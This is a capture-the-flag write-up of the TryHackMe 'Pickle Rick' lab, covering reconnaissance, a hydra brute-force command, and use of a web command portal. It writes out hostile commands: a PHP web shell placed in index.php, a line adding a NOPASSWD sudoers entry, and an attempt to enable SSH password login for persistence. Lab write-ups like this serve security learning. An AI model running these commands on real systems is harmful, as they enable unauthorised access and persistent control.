# PickleRick

## <img src="https://766607157-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6IZrhSGHMmeGzRGVLvm8%2Fuploads%2FVwyoA3ij3YFdbnuhHDyJ%2Fimage.png?alt=media&#x26;token=c2392f5b-eb79-477a-9a45-123b2b8f9a5b" alt="" data-size="line">PICKLE RICK WRITEUP

*By Jacvbtaylor*

```
           Used openvpn and Kali Linux 
                     https://tryhackme.com/room/picklerick
             completed September 6, 2022
```

### Step 1:

Beginning my reconnaissance, I started off with my usual nmap script that I recently updated

`echo "sed -e '/Completed/d;/Initiating/d;/Starting/d;/Not/d;/Nmap/d'" > SED && chmod +x SED && nmap -sn 10.10.221.12 -oG - | awk '/Up$/{print$2}' > livehosts.txt && nmap -iL livehosts.txt | ./SED > nmapscan.txt && nmap -sV -A --script vulners -iL livehost* | ./SED > vulnscan.txt`&#x20;

<figure><img src="https://766607157-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6IZrhSGHMmeGzRGVLvm8%2Fuploads%2FRT9fAeSwGsjlYgqjwUBW%2Fimage.png?alt=media&#x26;token=1f4836d6-7ba0-4de4-98ae-64bbe619f00e" alt=""><figcaption></figcaption></figure>

`gobuster dir -u http://10.10.221.12 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt`

<figure><img src="https://766607157-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6IZrhSGHMmeGzRGVLvm8%2Fuploads%2FaIKTttW9p0dhSmYwWsz6%2Fimage.png?alt=media&#x26;token=0cc30e55-b100-4931-9104-ef296179a27f" alt=""><figcaption><p>scanning + directory brute force and webpage source code</p></figcaption></figure>

The nmap scan revealed possible exploits and found 2 ports open: \
22 & 80

I visited the IP in a browser to find a static webpage. Viewing the source code revealed a message that is not seen from the webpage:

```
<!--

    Note to self, remember username!

    Username: R1ckRul3s

  -->
```

### Step 2:

The message on the webpage tells me to logon to Rick's computer. I found the username but have no password. The gobuster scan has found one webpage so far, assets. There is no index in place for that folder, which leaves a local file inclusion vulnerability and informs us that the server is Apache/2.4.18 (Ubuntu) Server at 10.10.221.12 Port 80. \
\
This did allow for me to view all of the files in the assets folder, but nothing seems to be of valuable at the moment. I let gobuster run till it finished and found no other directories.

<figure><img src="https://766607157-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6IZrhSGHMmeGzRGVLvm8%2Fuploads%2Fk9YzwFpKGg6pct6N1tIm%2Fimage.png?alt=media&#x26;token=b26d888f-0f9d-41e7-9628-8a25cfbed0c6" alt=""><figcaption><p>LFI vulnerability - Tells us the type of server running </p></figcaption></figure>

My best option seems to try an SSH bruteforce attack.

<figure><img src="https://766607157-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6IZrhSGHMmeGzRGVLvm8%2Fuploads%2Fuz5tXSKe1NTzhtPsmLGn%2Fimage.png?alt=media&#x26;token=2d567305-164b-4177-bbd3-bfb44c407c51" alt=""><figcaption></figcaption></figure>

My ssh password bruteforce attack was unsuccessful. The SSH service seems to only allow keyboard-interactive authentication and not password authentication, which is what hydra would have been using.\
\
When I tried logging in manually, I was denied attempting because I did not have a public key. \
\
While this does make things a little more challenging, it doesn't leave me completely at a loss.

### Step 3:

Going back to my nmap scans, I can view my vulnerability results.&#x20;

<figure><img src="https://766607157-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6IZrhSGHMmeGzRGVLvm8%2Fuploads%2FD6lPxLpIKIfx1MNMDZct%2Fimage.png?alt=media&#x26;token=289e077c-ba2f-4a73-bdb8-3617fa9677bc" alt=""><figcaption></figcaption></figure>

One of these detected vulnerabilities should allow me some form of access to the SSH server.&#x20;

So far trying 3 different exploits gives me similar results to what is shown below:<br>

<figure><img src="https://766607157-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6IZrhSGHMmeGzRGVLvm8%2Fuploads%2FooCoJxg6OQ8syJ2J1AQu%2Fimage.png?alt=media&#x26;token=b2946b76-f832-4f12-8a75-f340bed19916" alt=""><figcaption><p><a href="https://www.exploit-db.com/exploits/40858">https://www.exploit-db.com/exploits/40858</a></p></figcaption></figure>

The SSH service seems very secure so far, only allowing access via a key. In this moment I have no clue how I am going to get in with SSH, so I have to do more research.&#x20;

### Step 4:&#x20;

Feeling defeated after not succeeding with the SSH exploitation, I tried my luck looking more into port 80.&#x20;

I was able to locate a php file running `dirb http://10.10.221.12/ -X .php`

Following the denied.php file redirected me to login.php and pulled up this web portal

<figure><img src="https://766607157-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6IZrhSGHMmeGzRGVLvm8%2Fuploads%2Fu4sJYDEkYWTSgG8RTilB%2Fimage.png?alt=media&#x26;token=5196d67f-333f-473e-9da0-27533767ca62" alt=""><figcaption><p>login.php</p></figcaption></figure>

dirb finished running and found 3 php files:\
denied.php\
login.php\
portal.php

all of which seem to end in the same place, the login.php webpage.\
\
I attempted a null login to the portal using the username I discovered previously, R1ckRul3s. This displayed "Invalid username or password."\
\
I immediately pulled up burpsuite to capture the requests for a brute force attack.

<figure><img src="https://766607157-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6IZrhSGHMmeGzRGVLvm8%2Fuploads%2FdQFFdOjK54xEUxPi4vKS%2Fimage.png?alt=media&#x26;token=e3d1af53-f39c-45b9-8201-16bf91c8c739" alt=""><figcaption><p>login parameters</p></figcaption></figure>

I used this to help construct my attack with hydra

<figure><img src="https://766607157-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6IZrhSGHMmeGzRGVLvm8%2Fuploads%2FtyGnwhllIm9zrdQaJjJe%2Fimage.png?alt=media&#x26;token=7b824e6d-1aa5-4f1c-9a09-caa0e3e4fd46" alt=""><figcaption><p>False Positives</p></figcaption></figure>

Using the constructed hydra script in the photo above, I was welcomed with 30 false positives before the attempt abruptly ended, so I eventually made my way to this new script which finally ran with no errors:

`hydra -l R1ckRul3s -P /usr/share/wordlists/rockyou.txt 10.10.221.12 http-post-form "/login.php:username=R1ckRul3s&password=^PASS^&sub=Login:Invalid username or password." -vV -t 60`

I let that run for about 20 minutes before giving up as it would take 60 hours to complete the whole rockyou.txt list&#x20;

I felt like I was overlooking something very simple, so I took a step back and ran another file attack on the webserver, this time looking for txt files\
`dirb http://10.10.221.12/ -X .txt`

<figure><img src="https://766607157-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6IZrhSGHMmeGzRGVLvm8%2Fuploads%2FAgwfejptUyD1MYMaJCjS%2Fimage.png?alt=media&#x26;token=149f2929-86c7-4998-b9c3-8659622eed36" alt=""><figcaption><p>robots.txt</p></figcaption></figure>

### Step 5:&#x20;

Unfortunately, the simplest of things can be the most overlooked sometimes. This is good to note for future endeavors with other servers. I used the username R1ckRul3s and the word found in the robots.txt file to try and log in to the login.php webpage. It worked.

<figure><img src="https://766607157-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6IZrhSGHMmeGzRGVLvm8%2Fuploads%2FXsM7VNvoLqy2ebiZswIT%2Fimage.png?alt=media&#x26;token=96cf214b-43ce-4a7e-bcb0-c3b11ba8ebb5" alt=""><figcaption><p>portal.php</p></figcaption></figure>

the first command I ran was `ls`

<div><figure><img src="https://766607157-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6IZrhSGHMmeGzRGVLvm8%2Fuploads%2FMkLoLQ7nB3ChVM0JTKLO%2Fimage.png?alt=media&#x26;token=092e475e-70e6-448c-89c3-aaafcc2fa3f6" alt=""><figcaption><p>ls command</p></figcaption></figure> <figure><img src="https://766607157-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6IZrhSGHMmeGzRGVLvm8%2Fuploads%2FdyQgW48fSFjUmuwGni99%2Fimage.png?alt=media&#x26;token=c275aa5b-1858-4051-89db-53af9320db01" alt=""><figcaption></figcaption></figure></div>

Using `whoami` revealed these commands were being ran as www-data. When trying certain commands such as "cat" seem to redirect us to denied.php. I tried less Su\* and it worked! I finally have the first ingredient and a clue.&#x20;

Using this command prompt, I am not allowed to cd in or out of the www directory.&#x20;

<figure><img src="https://766607157-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6IZrhSGHMmeGzRGVLvm8%2Fuploads%2FpQ8v8xIb62cHGwkysSN4%2Fimage.png?alt=media&#x26;token=b3515ce2-8f31-4a53-a98f-5f4c95979256" alt=""><figcaption></figcaption></figure>

<figure><img src="https://766607157-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6IZrhSGHMmeGzRGVLvm8%2Fuploads%2FJVGekOBlyDHxm2R6dC8o%2Fimage.png?alt=media&#x26;token=b05ed858-33cc-4e79-8efe-fb3278f91eea" alt=""><figcaption></figcaption></figure>

I attempted to find other txt files on the server that were created during the same time as the ones in the www/html directory I was stuck in but had no obvious luck. Looking through source code of the files I did have access to in that directory, I came across some commands that were not allowed. This left me thinking. I have 3 file extensions in this directory, html, txt, and php. \
\
If I can append code to one of the php files, I may be able to obtain a reverse shell.  I tested this out with something simple to the index.html file first and it worked!&#x20;

<figure><img src="https://766607157-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6IZrhSGHMmeGzRGVLvm8%2Fuploads%2F42F0DID12cyLkRbyorir%2Fimage.png?alt=media&#x26;token=e58a6fc7-08ef-409c-ac18-b80abd5c19db" alt=""><figcaption></figcaption></figure>

### Step 6:

From this command panel, I ran the following commands:\
\
`sudo usermod -aG sudo www-data`

`sudo echo "www-data ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers`

`echo "<?php\n\t\$command = \$_GET['cmd'];\n\techo system(\$command); \n\t?>" > index.html`

`sudo mv index.html index.php`

<figure><img src="https://766607157-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6IZrhSGHMmeGzRGVLvm8%2Fuploads%2FDVcYdlQLRzgrGawwntDH%2Fimage.png?alt=media&#x26;token=71dfdbef-91b7-4603-ba8a-dc36ba84489b" alt=""><figcaption></figcaption></figure>

I had no luck echoing into any file other than the index.html from the www-data user while interacting with the portal.php webpage. I wanted to escape this and added my own command file called index.php

<figure><img src="https://766607157-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6IZrhSGHMmeGzRGVLvm8%2Fuploads%2Fmu9mxQbyJUsP1qcMvn09%2Fimage.png?alt=media&#x26;token=65c69dee-082e-4e17-a31d-f3dab3afc21d" alt=""><figcaption></figcaption></figure>

From here, I was able to find the 2nd ingredient.&#x20;

<figure><img src="https://766607157-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6IZrhSGHMmeGzRGVLvm8%2Fuploads%2FbDxDPk2qg380tnWH3WLF%2Fimage.png?alt=media&#x26;token=7708f912-10b8-436d-8706-1ab24280f8a6" alt=""><figcaption></figcaption></figure>

Earlier on while snooping around in the command prompt, I had already discovered the 3rd ingredient.&#x20;

<figure><img src="https://766607157-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6IZrhSGHMmeGzRGVLvm8%2Fuploads%2FbfJ1gkivjBT3GtV5Qbff%2Fimage.png?alt=media&#x26;token=40fb4c96-a578-47c1-837a-bd1d9e49fd69" alt=""><figcaption></figcaption></figure>

### Step 7:

Although the challenge ends once all 3 ingredients are discovered, I wanted to ensure that I had persistence to the server and knowing that port 22 was open and I had sudo access via my index.php file, I could probably gain ssh access. I tried a number of things through my php command file&#x20;

I spent a couple hours trying different things but ultimately could not find a way to escalate privileges to allow me to edit the ssh\_config file to run this successfully `sudo echo "PasswordAuthentication yes" >> /etc/ssh/ssh_config`

with my php command file `/index.php?cmd=sudo%20echo%20"PasswordAuthentication%20yes"%20>>%20%2Fetc%2Fssh%2Fssh_config%20`

Although this (among many other attempts) did not work, I felt it necessary to at the very least try. I may come back to it in the near future but for now I have not been able to gain persistence.&#x20;
